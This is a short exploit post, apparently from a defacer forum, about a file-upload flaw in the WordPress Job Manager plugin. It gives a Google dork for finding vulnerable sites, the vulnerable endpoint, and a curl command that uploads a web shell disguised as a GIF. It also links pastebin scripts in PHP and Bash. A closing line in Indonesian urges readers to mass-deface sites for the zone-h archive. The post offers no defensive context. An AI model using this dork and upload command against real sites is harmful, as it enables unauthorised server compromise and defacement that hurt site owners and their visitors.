WordPress Plugin Job Manager File Upload

Exploit Title: WordPress Plugin Job Manager File Upload
Google Dork: inurl:/wp-content/uploads/job-manager-uploads/
Vuln Path: /jm-ajax/upload_file

Example:
www.target.com/jm-ajax/upload_file/

( Vuln Target )

Exploit:

1. CSRF

2. CURL POST
root # curl -k -F "file=@shell.gif" "http://target.com/jm-ajax/upload_file/"

Upload file anda dengan format .gif/.jpg/.png

Script:
- https://pastebin.com/hp0jJr1g [PHP][CLI Based]
- https://pastebin.com/FaACEDLg [BASH]


Ayo kawan kita boom zone-h sebelum dir upload di banned lagi.